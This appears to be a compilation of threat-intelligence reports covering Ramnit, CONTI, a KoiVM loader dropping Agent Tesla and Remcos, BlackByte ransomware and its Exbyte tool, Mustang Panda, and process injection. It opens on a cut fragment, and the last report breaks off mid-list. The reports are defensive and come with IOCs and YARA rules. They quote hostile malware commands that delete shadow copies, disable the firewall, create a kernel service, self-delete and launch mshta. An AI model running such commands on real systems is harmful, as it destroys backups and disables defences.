Win32/Zbot.G | | BitDefender | 7.2 | 2012.01.10 | Win32.Ramnit.N | | ... | ... | ... | ... | ### Additional Information - **MD5:** 25f6ee42d37e3f2f7dbe795e836d52e2 ### Traffic - **607B2219FBCFBFE8E6AC9D7F3FB8D50E** - C&C is sinkholed - **C33E7ED929760020820E8808289C240E** - C&C is active Despite the fact that the C&C for 607B2219FBCFBFE8E6AC9D7F3FB8D50E is sinkholed, it is still interesting to see the malware behavior when it tries to establish a connection with the server. Ramnit samples used by the same group of attackers have an overlapping set of C&C servers. The communications with the sinkholed server show that once the bot receives a SYN command from the C&C, it sends 6 bytes of data. If the connection with the server is established, the traffic continues on port 443; it is encoded but it is not SSL, it is some sort of custom protocol. ### Domain Names - **Domain name:** rjordulltl.com **IP:** 89.149.242.185 - Leaseweb Germany GmbH **Registrar:** Regtime Ltd. **Creation date:** 2012-01-05 **Expiration date:** 2013-01-05 - **Domain Name:** goopndlgvy.com **Registrant:** PrivacyProtect.org **Creation Date:** 06-Jan-2012 **Expiration Date:** 06-Jan-2013 Many domains are registered by "Aleksandr Bragilevskij". Google search for [email protected] reveals that the same address was used to register fake Canadian pharmacy sites, which makes sense, considering the Viagra spam.
# CONTI Ransomware: Cheat Sheet Ransomware is today very effective and causes serious problems in many companies. We hear almost every day about entire businesses under ransom and companies that lose turnover and opportunities since they have no available data to deal with. For such a reason, I feel like I have to contribute somehow to the community by giving what I can on this topic. So, this is my little contribution to fight CONTI ransomware: an API block cheat sheet. In other words, by reading this flow, you should have the main CONTI functionalities mapped by API call blocks. It might help you in the following ways: - To learn how the current CONTI ransomware works (if you had no chance to reverse it) - To extract behavioral models for your Machine Learning engine - To synthesize API call signatures for your dynamic detection engine - To extract behavioral patterns for your SIEM The execution flow is represented by the long up-to-down rows and runs from left to right. The main API calls are included in rectangles while the conditional jumps are mapped into diamonds. Next to specific rectangles (API Calls), a little note gives further details on the analyzed step. Square brackets wrap API calls into blocks so that you might easily read the six logic CONTI steps, which are: Preparation, System Information, Find and Delete Shadow Copies, Looking for External Targets (shared folders), Encryption Preparation (ransom note included), and Encryption Execution.
# KoiVM Loader Resurfaces With a Bang By Rahul R December 2, 2022 We at K7 Labs recently found an interesting new .NET loader which downloads and executes KoiVM virtualized binary, which in turn drops Remcos RAT and Agent Tesla based on the availability of its C2. The samples under consideration use hastebin URLs as its C2 server to download the next stage payloads. The overall flow of this multistage malware can be observed in the following flow diagram. The initial downloader is dropped through spam emails containing attachments of the names “New Orders.zip” or “Export Invoice – 8026137.zip”. The Zip contains a .NET executable with the same name as the Zip file and disguises itself as a calculator application. However, it is actually a multistage downloader. ## Stage-1 (Downloader Analysis) The downloader initially starts to decode the C2 using an interesting decoding routine given below. Each character of the C2 string is XOR’ed with the index value of the corresponding character to obtain the C2 address. We can easily mimic this in Python using the code given below. ```python c2servers = "" decoded = r"huvsw?) (`hy\u007fioga>r}~;gw`7w{huwquISW\u000fLQRW[\u0013\u0005\u0004DL][US[]\u001aVYZ\u0017K[L\u0013^_N5,7!1<)" for c in range(0, len(decoded)): c2servers += chr(ord(decoded[c]) ^ c) print(c2servers.replace(",", "\n")) ``` Extracted C2’s: - hxxps://hastebin[.]com/raw/nasijojiru - hxxps://hastebin[.]com/raw/caqumubuyo Once the C2 address is decoded, it sends a GET request to download the encoded 2nd stage KoiVM Droppers. After receiving the response from the server, the downloader starts its multistage decoding routine. It base64 decodes the response and decompresses it in memory using the DeflateStream class. The resultant buffer is XORed with the hardcoded key in the stage-1 downloader “M4use” to get the final decoded stage-2 KoiVM dropper binaries. ## Stage2 (Virtualized Droppers) The stage-2 payload is highly obfuscated and virtualized with KoiVM. It is used along with ConfuserEx to virtualize the execution of the sample. It changes all the IL-Instruction to the byte format understandable only by the KoiVM Runtime. As stated in KoiVM Readme, virtualization with KoiVM can be done in two ways: 1. Virtualize only the methods which we select 2. Virtualize all the functions including ConfuserEx integrity protection The stage-2 dropper payloads had chosen the 2nd option to virtualize all the functions, which made our analysis harder. Since Win32API and structs are accessed using PInvoke in C# and it can’t be virtualized or obfuscated, we were able to identify the APIs and correlate the behavior of this KoiVM dropper. The sample imports all the APIs which are required for Process Injection and In-memory execution. The encoded stage-3 payload is found in the resource section of the KoiVM binary. On analyzing the blob, we found an interesting string pattern which seems to be repeating. When Null bytes are XOR’ed with a key, the resultant value is the key itself. Since the 3rd stage payload has many NULL bytes we are able to extract the XOR key used for decoding. Similarly, the KoiVM sample downloaded from the other hastebin URL (second C2 address) had a similar pattern. There are two different final 3rd stage payloads which are dropped based on the C2 address accessed, of which the first binary is XOR decoded using the key “Jus3ify” and the second binary is XOR decoded using the key “Monito3”. The key can also be identified by debugging the KoiVM Runtime using dnSpyEx and stepping into the yielder function “SelectIterator”. We were able to view payload data and key as plaintext because all functions of KoiVM dropper binary are only virtualized and not the calls to string methods. ## Stage 3 ### Agent Tesla Using Detect it Easy we were able to identify that stage-3 payload is obfuscated with .Net Reactor, thus we used .NetSlayer to de-obfuscate the sample to analyze further. The tool was not able to completely de-obfuscate the sample; for example, we could see that the Agent Tesla binary has implemented control flow flattening, but the tool was not able to unflatten it. The strings are present in raw hex form using string interning. On dumping the strings, we got a configuration file and confirmed it as Agent Tesla malware. Agent Tesla is an info stealing malware, which collects keystrokes, browser cookies, and system information. The collected data is sent as an attachment to a mail id – peterashley202@gmail[.]com. ### Remcos RAT On viewing the strings from stage-2 payload (the KoiVM payload2 from the second hastebin URL), we were able to identify the final payload to be Remcos RAT which was confirmed by extracting the configuration from KoiVM payload2’s resource section. The RC4 encrypted configuration of Remcos RAT is saved in the resource section as “SETTINGS”. The first byte in the configuration file is the length of RC4 key(n). The next n bytes are the RC4 key followed by the payload bytes. Remcos RAT steals browser cookies, takes current window screenshots and sends it to the C2 present in Configuration. It establishes a listener connection with the C2 and waits for the attacker to send commands to execute. We at K7 Labs provide detection against latest threats and also for this newer variant of Loader. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date so as to safeguard their devices. ## IOCs | Filename | MD5 Hash | K7 Detection Name | |---------------------------|-------------------------------------------------------|---------------------------------------| | Stage1 Loader | 908A565A9041D68A2FEA61329D4C42B4 | Trojan-Downloader (00599fcf1) | | Stage2 (KoiVM) Tesla | 859E6D2588B14AA298F22F3E70043C69 | Trojan (0058ba9a1) | | Dropper | 3A62051DD210BC85C93BF343DCD8ACAD | Trojan (0058ba9a1) | | Stage3 (Stealer) | Agent Tesla: 77047DAC5FE6958A3C7C9DD1DE08C854 | Spyware (0053ac2c1) | | | Remcos RAT: 40B71E34E832DEACFFB9589F2BB87323 | Trojan (0058f8971) | C2: - hxxps://hastebin[.]com/raw/nasijojiru – Agent Tesla - hxxps://hastebin[.]com/raw/caqumubuyo – Remcos RAT IP: - 172.111.234[.]110:5888
# Exbyte: BlackByte Ransomware Attackers Deploy New Exfiltration Tool Symantec’s Threat Hunter Team has discovered that at least one affiliate of the BlackByte ransomware (Ransom.Blackbyte) operation has begun using a custom data exfiltration tool during their attacks. The malware (Infostealer.Exbyte) is designed to expedite the theft of data from the victim’s network and upload it to an external server. BlackByte is a ransomware-as-a-service operation run by a cyber-crime group Symantec calls Hecamede. The group sprang to public attention in February 2022 when the U.S. Federal Bureau of Investigation (FBI) issued an alert stating that BlackByte had been used to attack multiple entities in the U.S., including organizations in at least three critical infrastructure sectors. In recent months, BlackByte has become one of the most frequently used payloads in ransomware attacks. ## Inside Exbyte The Exbyte exfiltration tool is written in Go and designed to upload stolen files to the Mega.co.nz cloud storage service. On execution, Exbyte performs a series of checks for indicators that it may be running in a sandboxed environment. This is intended to make it more difficult for security researchers to analyze the malware. To do this, it calls the IsDebuggerPresent and CheckRemoteDebuggerPresent APIs. It then checks for the running processes from the following applications: - MegaDumper 1.0 by CodeCracker / SnD - Import reconstructor - x64dbg - x32dbg - OLLYDBG - WinDbg - The Interactive Disassembler - Immunity Debugger - [CPU] It then checks for the following anti-virus or sandbox-related files: - avghooka.dll - avghookx.dll - sxin.dll - sf2.dll - sbiedll.dll - snxhk.dll - cmdvrt32.dll - cmdvrt64.dll - wpespy.dll - vmcheck.dll - pstorec.dll - dir_watch.dll - api_log.dll - dbghelp.dll This routine of checks is quite similar to the routine employed by the BlackByte payload itself, as documented recently by Sophos. Next, Exbyte enumerates all document files on the infected computer, such as .txt, .doc, and .pdf files, and saves the full path and file name to %APPDATA%\dummy. The files listed are then uploaded to a folder the malware creates on Mega.co.nz. Credentials for the Mega account used are hardcoded into Exbyte. Exbyte is not the first custom-developed data exfiltration tool to be linked to a ransomware operation. In November 2021, Symantec discovered Exmatter, an exfiltration tool that was used by the BlackMatter ransomware operation and has since been used in Noberus attacks. Other examples include the Ryuk Stealer tool and StealBit, which is linked to the LockBit ransomware. ## BlackByte TTPs In recent BlackByte attacks investigated by Symantec, the attackers exploited the ProxyShell (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) and ProxyLogon (CVE-2021-26855 and CVE-2021-27065) vulnerabilities in Microsoft Exchange Servers to gain initial access. Symantec has observed attackers using AdFind, AnyDesk, NetScan, and PowerView prior to deploying the ransomware payload. Recent attacks have used version 2.0 of the BlackByte payload. On execution, the ransomware payload itself appears to download and save debugging symbols from Microsoft. The command is executed directly from the ransomware: ```powershell powershell -command "(New-Object Net.WebClient).DownloadFile('http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/11D60DB07BA7433B923F49867DF515721/ntkrnlmp.pdb', 'CSIDL_SYSTEM_DRIVE\systemdata\ntkrnlmp.pdb')" ``` The ransomware then checks the version information of ntoskrnl.exe and then creates a service with the following details: - binPath = C:\systemdata\generalate - displayName = AAAAAAAAAAAAAA!!!!!!!!!!!!!!! BlackByte then proceeds with the removal of Kernel Notify Routines. The purpose of this is to attempt to bypass EDR products. This functionality in BlackByte has already been documented by Sophos and it closely resembles the techniques leveraged in the EDRSandblast tool. BlackByte uses VssAdmin to delete volume shadow copies and resize storage allocation: ```cmd cmd.exe /c start vssadmin.exe Delete Shadows /All /Quiet vssadmin Resize ShadowStorage /For=K: /On=K: /MaxSize=401MB ``` It then makes the following service modifications: ```cmd sc create ODosTEmONa binPath= CSIDL_SYSTEM_DRIVE\systemdata\generalate type= kernel sc.exe config RemoteRegistry start= auto sc.exe config Dnscache start= auto sc.exe config SSDPSRV start= auto sc.exe config fdPHost start= auto sc.exe config upnphost start= auto ``` The ransomware then modifies firewall settings to enable linked connections: ```cmd netsh advfirewall firewall set rule "group=\"Network Discovery\" " new enable=Yes" netsh advfirewall firewall set rule "group=\"File and Printer Sharing\" " new enable=Yes" cmd.exe /c netsh advfirewall set allprofiles state off ``` Finally, BlackByte injects itself into an instance of svchost.exe, conducts file encryption, and then deletes the ransomware binary on disk: ```cmd cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del CSIDL_WINDOWS\rdac.exe /F /Q CSIDL_SYSTEM\svchost.exe -s 27262842 ``` ## Emerging Force Following the departure of a number of major ransomware operations such as Conti and Sodinokibi, BlackByte has emerged as one of the ransomware actors to profit from this gap in the market. The fact that actors are now creating custom tools for use in BlackByte attacks suggests that it may be on the way to becoming one of the dominant ransomware threats. ## Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. ## Yara Rule ```yara rule blackbyte_exfil { meta: copyright = "Symantec" family = "Alias:ExfilTool" description = "Detects exfil tool used by BlackByte ransomware" strings: $data_str1 = {41 B9 04 00 00 00 66 66 0F 1F 84 00 00 00 00 00 43 0F B6 84 02 A0 00 00 00 41 30 00 49 FF C0 49 83 E9 01 75 EB 49 83 EB 01 75 D5 40 B7 09 48 8D} $data_str2 = {32 10 05 AF 59 2E 0D 38 32 59 C0 99 E8 A5 87 CB} $data_str3 = "@BCEFHJLNPRTVY" ascii condition: all of ($data_str*) and filesize > 2MB and filesize < 3MB and (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) } ``` ```yara rule blackbyte_exfil_unpacked { meta: copyright = "Symantec" family = "Alias:ExfilTool" description = "Detects unpacked exfil tool used by BlackByte ransomware" strings: $str1 = ").Login" $str2 = ").NewUpload" $str3 = ").CreateDir" $str4 = ".PreloginMsg" $str5 = ".UploadCompleteMsg" $str6 = ").UploadFile" $str7 = {FF 20 47 6F 20 62 75 69 6C 64 69 6E 66 3A 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 75 6E 6B 6E 6F 77 6E 00 00 00 00 00 00 00 00} $c1 = {44 24 68 44 31 C2 88 50 10 0F B6 54 24 56 44 0F} $c2 = {FB 48 89 F7 4C 89 C6 E8 54 ED F6 FF 4C 8D 43 01} condition: all of ($str*) and ($c1 or $c2) and filesize > 8MB and (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) } ``` ## Indicators of Compromise If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. ### SHA256 file hashes: - 3fb160e1770fafeedff2d77841bf02108c25cca4cb6d77e3fbf759077f356b70 - Infostealer.Exbyte - 0097b8722c8c0840e8c1a4dd579438344b3e6b4d630d17b0bbe9c55159f43142 - Infostealer.Exbyte - aeb1b789395357e8cc8dbd313b95f624fc03e037984040cd7c1704775bfb4bd2 - Infostealer.Exbyte - 477382529659c3452020170d8150820210ab8cbdc6417a0f0ac86a793cd0d9b4 - Ransom.Blackbyte - 1df11bc19aa52b623bdf15380e3fded56d8eb6fb7b53a2240779864b1a6474ad - Ransom.Blackbyte - 44a5e78fce5455579123af23665262b10165ac710a9f7538b764af76d7771550 - Ransom.Blackbyte - eb24370166021f9243fd98c0be7b22ab8cbc22147c15ecef8e75746eb484bb1a - Ransom.Blackbyte - f361bafcc00b1423d24a7ea205264f5a0b96011e4928d9a91c2abc9911b433a1 - Ransom.Blackbyte - 20848d28414d4811b63b9645adb549eed0afbd6415d08b75b0a93fbf7cfbf21f - Ransom.Blackbyte - 754ac79aca0cc1bcf46000ef6c4cbe8bebeb50dae60823a1e844647ac16b6867 - Ransom.Blackbyte - f157090fd3ccd4220298c06ce8734361b724d80459592b10ac632acc624f455e - AdFind - 794a5621fda2106fcb94cbd91b6ab9567fb8383caa7f62febafcf701175f2b91 - AdFind batch script - 572d88c419c6ae75aeb784ceab327d040cb589903d6285bbffa77338111af14b - NetScan - efc2125e628b116eb0c097c699e473a47a280dfcd3e02cada41bdf6969600b41 - PowerView - 4877ff7c3c2abd349646db1163814811e69b36374e289f5808cc794113ef55ae - AnyDesk ### Network: - hxxp://gfs270n392[.]userstorage.mega.co[.]nz/ul/PCfY6R3GKGjIEQK2tzWLODSlhG-h5NbxGHdNAToANCzjKK8Z6kdCiqshxM6ctHDKpLU09-YobgYybaQkCnpwnw/4718592 - hxxp://gfs262n303[.]userstorage.mega.co[.]nz/ul/f_re9dP6f9G8GAJhd3p43aJnvHnw7rCHLumJV-MXDlaL2RaSQQrPH1BYStJHWy4JkPgJ13KczuiJoOl0iwjxDA/15204352 - hxxp://gfs206n171[.]userstorage.mega.co[.]nz/ul/9Y39ts0Mp6xtige0-wHhmMG74YgASgG1UhZYfzl_fh8TN_TQo1gSa92TNe_HTBxvOTirA0yfouEE74-Y3Cy1Tw/81264640 - hxxp://gfs206n108[.]userstorage.mega.co[.]nz/ul/aX72PSSxERHKJwLdWCCOmsJQRioP7N6kcAltRRTbAgwGtNzcsdYa_7HTb4ToVV_HcVPORXo - hxxp://gfs208n174.userstorage[.]mega.co.nz/ul/z6nR8uTohiga4QeILJsXcAWlt05Vhu2XiDlne_Qag-rgAmZkK2aZMvYrWC5FHRebBpMoxYZEEqSStHyvU6SnWQ/6815744 - hxxp://gfs214n129.userstorage[.]mega.co.nz/ul/wVJUlrn9bMLekALaMZx_o5FeK-U1oG9q4CWqHGNslUnVY2-BgJcEUxIJX9O4fXEWkt-x80LeAr7Jz9gXTCwzDA/2752512 - hxxp://gfs204n140.userstorage[.]mega.co.nz/ul/_Amu75VCTCu6BgIdFs8ZgHPyHqBFm5Cj8bV1xkM5QFt2T0x-9C_KlHQAQ3kX4bzj8jgmyK9-dlbmx9ef6Y9JDw/1966080 ## About the Author **Threat Hunter Team** Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations ## Overview The Anomali Threat Research Team has identified an ongoing campaign believed to be conducted by the China-based threat group, Mustang Panda. The team first revealed these findings on Wednesday, October 2, during Anomali Detect 19, the company’s annual user conference, in a session titled: “Mustang Panda Riding Across Country Lines.” CrowdStrike researchers first published information on Mustang Panda in June 2018, after approximately one year of observing malicious activities that shared unique Tactics, Techniques, and Procedures (TTPs). This campaign dates back to at least November 2018. The research does not indicate with absolute certainty which entities are being targeted or the impact the campaign has had. Based on the lure documents observed by Anomali, we believe that the following may be targeted: - Individuals interested in the United Nations’ Security Council Committee resolutions regarding the Islamic State in Iraq and the Levant (ISIL / Da’esh) - Mongolian-based MIAT Airlines - Non-profit China Center (China-Zentrum e.V.); according to its website, this officially recognized nonprofit organization’s aim is to foster encounters and exchange between cultures and religions in the West and in China - Targeted countries including but not limited to Germany, Mongolia, Myanmar (Burma), Pakistan, Vietnam - The Communist Party of Vietnam (CVP) - The Shan Tai; a group of people living in Southeast Asia, which Minority Rights Group International describes as a “minority” in the region, with members who are primarily Theravada Buddhists The malicious activity found by Anomali aligns with TTPs, specifically two through six, first identified by CrowdStrike. The observed TTPs consist of the following: 1. Use of zip file that contains a “.lnk” (Windows Shortcut) file. 2. Utilization of double extension trick (sample.doc.lnk) to convince users to open the file. 3. HTA (HTML Application) with VBScript embedded in the “.lnk” file. 4. VBScript drops payloads and opens a decoy document or PDF to the user. 5. Usage of PlugX and Cobalt Strike payloads. The infection chain observed by Anomali researchers in this campaign is shown below in Figure 1. We also found similarities in targeting in Mongolia and an NGO. The use of United Nations’ documents regarding activities in the Middle East may also be indicative of think-tank targeting. Furthermore, the use of PlugX malware also aligns with CrowdStrike’s previous findings of activity attributed to Mustang Panda. Analysts’ note: The language capabilities to read some of the lure documents is not available within Anomali at this time. We would encourage those with the language skills necessary to analyze the documents further. ## Targeting In mid-August 2019, the Anomali Threat Research Team discovered suspicious “.lnk” files during routine intelligence collection. While the distribution method of these documents cannot be confirmed at this time, it is likely that spearphishing is being utilized because it aligns with Mustang Panda’s TTPs, and it is a common tactic used amongst APT actors. The lure documents are also too specific in their targeting, and the targeted entities and individuals would be of interest to a China-sponsored threat group. Further analysis of the files led to the identification of other “.lnk” files that were attempting to infect individuals with a Cobalt Strike Beacon (penetration-testing tool) or PlugX (Remote Access Tool (RAT)); other payloads were unable to be identified as of this writing. Anomali researchers identified 15 malicious documents that we believe were utilized by Mustang Panda in an ongoing campaign. The documents reveal malicious activity dating from at least November 2018 up to August 29, 2019. The date of this activity is confirmed by the VirusTotal (VT) submission dates, which will be analyzed further in the following sections. In addition, the dates within the documents go back as far as October 8, 2017; therefore, it is possible this activity goes back to 2017 if the group was using current content in their lures. The primary target of this campaign were found to be the ruling political party of Vietnam, The Communist Party of Vietnam (CPV); other targets observed in the malicious documents include the following: - CPV of Lang Son province, Vietnam - CPV of Lao Cai province, Vietnam - Embassy of Vietnam, China - Henan Provincial Party Committee, Vietnam - Individuals who would find United Nations’ documents of interest, potentially think tanks - MIAT Airlines, Mongolian airline - Police of Sindh Province, Pakistan - Restoration Council of Shan State / Shan State Army, Loi Tai Leng, Southern Shan State, Myanmar (Burma) - The China Center (China Zentrum e.V), Germany The lure documents are themed to be relevant to their targets, and in some cases are copies of legitimate documents that are publicly available. The “.lnk” files being utilized by Mustang Panda typically contain an embedded HTA script that, once executed, will drop and open the decoy document while the malicious activity of the payload runs in the background. Other lure documents are themed to be relevant to their targets, and in some cases are legitimate documents that are publicly available. The final type of malicious document we observed were empty and only contain an image, such as requesting for macros to be enabled, used to distract someone while malicious activity takes place in the background. ## Lure Document Analysis The 15 documents will be discussed below from the most recent VT submission to the earliest. The identified samples follow the same infection chain, and the technical analysis will be discussed in a later section. ### Document 1 **Document Title**: TCO BT574.doc **Sample**: 05CF906B750EB335125695DA42F4EAFC **Payload**: Cobalt Strike **Submission date**: 8/29/2019 As seen above, this document is addressed to the Embassy of Vietnam in China. The document appears to discuss a warning issued to the Vietnam government related to a military exercise on a set of coordinates. Specifically, the document informs that no civilian ships are allowed on said coordinates. The document continues and mentions a new ice-breaking ship called “Snow Dragon 2” and mentions August 15, 2019, as the beginning of a 35-day trial run. This document indicates a regional interest with specificity. ### Document 2 **Document Title**: 32_1.PDF **Sample**: 9A180107EFB15A00E64DB3CE6394328D **Payload**: Cobalt Strike Beacon **Submission date**: 8/26/2019 Mustang Panda is using this decoy document, dated August 15, 2019, to target the People’s Committee Lang Son Province. The Peoples’ Committee is the executive branch of a Vietnamese province. The Lang Son province shares a border with China’s Guangxi Province. The area has historically served as an important location for trade, and therefore control over the location has long been disputed and fought over. ### Document 3 **Document Title**: Daily News (19-8-2019) **Sample**: 5F094CB3B92524FCED2731C57D305E78 **Payload**: PlugX **Submission date**: 8/19/2019 This document appears to be targeting the Shan Tai people by using a document referencing the Restoration Council of Shan State (RCSS). The Shan Tai people make up the largest minority group in Myanmar (Burma) and are located in Northwestern and Eastern Myanmar (Burma) and the Yunnan province in China. The RCSS, also referred to as Shan State Army (SSA), is a government/political organization that is headquartered in Loi Tai Leng, Southern Shan state, in present-day Myanmar (Burma), bordering Thailand. The targeting of minority groups is a known tactic used by the government of the People’s Republic of China. ### Document 4 **Document Title**: S_2019_50_E.lnk **Sample**: 4FE276EDC21EC5F2540C2BABD81C8653 **Payload**: PlugX **Submission date**: 6/6/2019 Mustang Panda retrieved this document from the United Nations Digital Library that is titled “Letter dated 15 January 2019 from the Chair of the Security Council Committee Established pursuant to Resolutions 1267 (1999), 1989 (2011) and 2253 (2015) concerning Islamic State in Iraq and the Levant (Da'esh), Al-Qaida and Associated Individuals, Groups, Undertakings and Entities addressed to the President of the Security Council.” At the time of this writing, it is unknown who, or what this document may be targeting. However, think-tank organizations may be interested in such a document, and said organizations were found to be targets of Mustang Panda by CrowdStrike. ### Document 5 **Document Title**: European.lnk **Sample**: 9FF1D3AF1F39A37C0DC4CEEB18CC37DC **Payload**: PlugX **Submission date**: 6/5/2019 “European.doc” is targeting The China Center (China Zentrum e.V), which is, according to its website, a non-profit organization that “encourages encounters and exchange between cultures and religions in the West and in China.” The members of the China-Zentrum are Catholic aid organizations, religious orders, and dioceses in Germany, Austria, Switzerland, and Italy. Targeting of NGOs was first documented by CrowdStrike, and we believe we have observed Mustang Panda attempting to attack a similar type of target. In addition, an institution focused on exchanging cultural knowledge aligns with China’s strategic interests. ## Targeting Pakistan Upon pivoting from the C2 domain apple-net.com, observed in the other samples that are part of the campaign, Anomali found a malicious sample that targets the Police of the Sindh Province in Pakistan. The PlugX malware has been observed as the payload that is targeting the Sindh Province police. ## Technical Analysis The “.lnk” files being utilized by Mustang Panda typically contain an embedded HTA file with VBScript or PowerShell script that, once executed, will drop and open the decoy document while malicious activity of the payload runs in the background. Throughout the campaign, we observed PlugX and Cobalt Strike being delivered as the primary payloads. ### “.lnk” File Analysis In Windows, “.lnk” is the file extension for shortcut files which points to an executable file. “.lnk” files usually hold plenty of forensic artifacts and they can reveal valuable information about the threat actor’s environment. The metadata from the “.lnk” files led us to pivot to more samples from the same campaign. Table 1 below shows the files that were part of the recent campaign from Mustang Panda. | MD5 | Creation Date | File Name | Payload | |-------------------------------------------------------|---------------|----------------------------------------------------------|-------------| | 165F8683681A4B136BE1F9D6EA7F00CE | 11/21/10 | chuong trinh dang huong.doc.lnk | Cobalt Strike | | 9FF1D3AF1F39A37C0DC4CEEB18CC37DC | 11/21/10 | European.lnk | PlugX | | 4FE276EDC21EC5F2540C2BABD81C8653 | 11/21/10 | S_2019_50_E.lnk | PlugX | | 43067F28DC5208D4A070CF3CC92E29FB | 11/21/10 | no_name | Cobalt Strike | | 11ADDA734FC67B9CFDF61396DE984559 | 11/21/10 | Chuong trinh hoi nghi.doc.lnk | Cobalt Strike | | 08F25A641E8361495A415C763FBB9B71 | 11/21/10 | GIAY MOI.doc.lnk | Cobalt Strike | | 01D74E6D9F77D5202E7218FA524226C4 | 11/21/10 | 421 CV.doc.lnk | Cobalt Strike | | 6198D625ADA7389AAC276731CDEBB500 | 11/21/10 | GIAYMOI.doc.lnk | Cobalt Strike | | 9B39E1F72CF4ACFFD45F45F08483ABF0 | 11/21/10 | CV trao doi CAT Cao Bang.doc.lnk | Cobalt Strike | | 748DE2B2AA1FA23FA5996F287437AF1B | 11/20/10 | cf56ee00be8ca49d150d85dcb6d2f336.jpg.lnk | PlugX | | 5F094CB3B92524FCED2731C57D305E78 | 11/21/10 | Daily News (19-8-2019)(Soft Copy).lnk | PlugX | | 9A180107EFB15A00E64DB3CE6394328D | 11/21/10 | 32_1.PDF.lnk | Cobalt Strike | | 05CF906B750EB335125695DA42F4EAFC | 11/21/10 | TCO BT 574.doc.lnk | Cobalt Strike | | F62DFC4999D624D01E94B89946EC1036 | 11/21/10 | sach tham khao Bo mon.docx.lnk | PlugX | | CA775717D000888A7F71A5907B9C9208 | 11/21/10 | tieu luan ve quyen lam chuynh dan.docx.lnk | PlugX | | AA115F20472E78A068C1BBF739C443BF | 11/21/10 | vai tro cua nhan dan.doc.lnk | PlugX | | 11511b3d69fbb6cceaf1dd0278cbedfb | 11/21/10 | For National Department Sar KNU JMC people Meeting 2019.lnk | PlugX | Once the user opens the “.lnk” file, the embedded HTA file will be executed via “mshta.exe”, it then writes a PowerShell script named “3.ps1” in the “%TEMP%” directory. The PowerShell script is then executed using Windows Management Instrumentation (WMI) in a hidden window via WMI Tasks. The dropped file “3.ps1” is a base64 encoded PowerShell script. Upon execution, it performs the below operations on the target host: 1. Checks if the user has Administrator privilege 2. Drops the Cobalt Strike Stager in debug or “%TEMP%” directory as “tmp_FlVnNI.dat” depending on the user privilege 3. Opens the decoy Word document 4. Locates the InstallUtil.exe and its installed version 5. Copies “schtasks.exe” to “%TEMP%” directory and renames it to “wtask.exe” 6. Creates Scheduled tasks with the name “Security Script kb00855787” 7. Renames “wscript.exe” into “winwsh.exe” 8. Runs the scheduled task to execute the Cobalt Strike Stager 9. C2 communication During our analysis, we could not acquire the second stage payload as the C2 servers were not functioning or had been taken down by the threat actors. ## PlugX Payload Analysis “.lnk” files that used PlugX as the payload were abnormally big in size. In general, the “.lnk” files are less than 10Kb, but the malicious samples in the campaign were more than 700Kb. Upon taking a closer look, we found that the “.lnk” files were embedded with 3 base64 encoded executables. Upon opening the LNK file, it will then proceed to execute the below command via cmd.exe. **Command**: /c for %x in (%temp%=%cd%) do for /f "delims==" %i in ('dir "%x\tieu luan ve quyen lam chu cua nhan dan.docx.lnk" /s /b') do start m%windir:~-1,1%hta .exe "%i" The command executes the HTA file embedded inside the shortcut and it decodes and drops 3 executables in the “%TEMP%” directory and opens a decoy word document to the user. All three dropped files were then moved to a new folder “C:\ProgramData\Microsoft Malware ProtectionGHQ”. The “3.exe” is a legitimate executable and it is signed by “ESET, spol. s r.o.” and it is being abused for DLL hijacking technique to execute http_dll.dll which decodes and loads the malicious payload http_dll.dat. ## Conclusion The malicious operations conducted by Mustang Panda in this campaign appear to be ongoing. The targets, indicated by specific lure documents, are government or align strategically with a China-sponsored APT group. China is currently in its 13th Five-Year Plan (2016-2020) that focuses on the following themes: innovation, coordinated development, green growth, openness, and inclusive growth. The objective of increasing exports and specific imports, which falls under openness, would align with the targeting of the Lang Son province and its history of trade. Utilizing lures themed around political parties, the Sindh police, and UN documents would align with innovation, which is described as the cornerstone of China’s development strategy and attempts of enhancing its future global competitiveness and technological edge. Targeting entities, or related entities, of said lures indicates a potential regional interest in strategic information that may be of significance to a government. In addition, the TTPs observed by CrowdStrike are identical to the ones observed by Anomali. This activity has been ongoing since at least November 2018, and possibly as far back to at least October 2017 if the lure documents were distributed around the times mentioned in them. This kind of malicious activity sponsored by China will likely continue as the country expands its efforts for the ongoing Belt and Road Initiative that seeks to invest in infrastructure in over 100 countries. Such economic and investment-led initiatives will cause China to be more interested in the regions it's investing in; therefore, it is likely that APT-related activity will follow.
# MITRE ATT&CK T1055 Process Injection In 2019, Picus Labs analyzed 48,813 malware samples to determine tactics, techniques, and procedures (TTPs) used by adversaries. Each observed TTP was categorized using the MITRE ATT&CK® framework. As a result, 445,018 TTPs observed in the last year were mapped to ATT&CK to identify the top 10 most common techniques used by attackers. Our research found that Process Injection was the most prevalent MITRE ATT&CK technique used by adversaries in their malware. Adversaries emphasize an increased level of stealth, persistence, and privilege in their advanced cyber attacks. As a mechanism that can provide these features, it is not surprising that Process Injection is the most frequently used technique. The purpose of this blog post is to review: - The fundamentals of the process injection technique - The most used target processes for injection - Its use cases by threat actors - Red, blue, and purple teaming exercises for this technique ## Introduction It is easy to detect malware processes by listing the running processes and filtering out legitimate ones that are part of the operating system or installed software. If the malware can encapsulate its malicious code within a legitimate process, it will hide on the infected system. Process injection is an “old but gold” technique consisting of running arbitrary code within the address space of another process. This technique enables access to the target process’s memory, system, and network resources. The technique provides three significant benefits for adversaries: - Executing code under a legitimate process may evade security controls. The legitimate process camouflages the malicious code to evade detection since it is whitelisted. - Since the malicious code is executed inside the legitimate process’s memory space, it may also evade disk forensics. - If the target process has elevated privileges, this technique will enable privilege escalation. For example, if the target process has access to network resources, the malicious code can communicate legitimately over the Internet and with other computers on the same network. ## Processes Targeted by Adversaries for Process Injection Security controls may quickly detect custom processes. Therefore, threat actors use common Windows processes such as: - Built-in native Windows processes including `explorer.exe`, `svchost.exe`, `regsvr32.exe`, `dllhost.exe`, `services.exe`, `cvtres.exe`, `msbuild.exe`, `RegAsm.exe`, `RegSvcs.exe`, `rundll32.exe`, 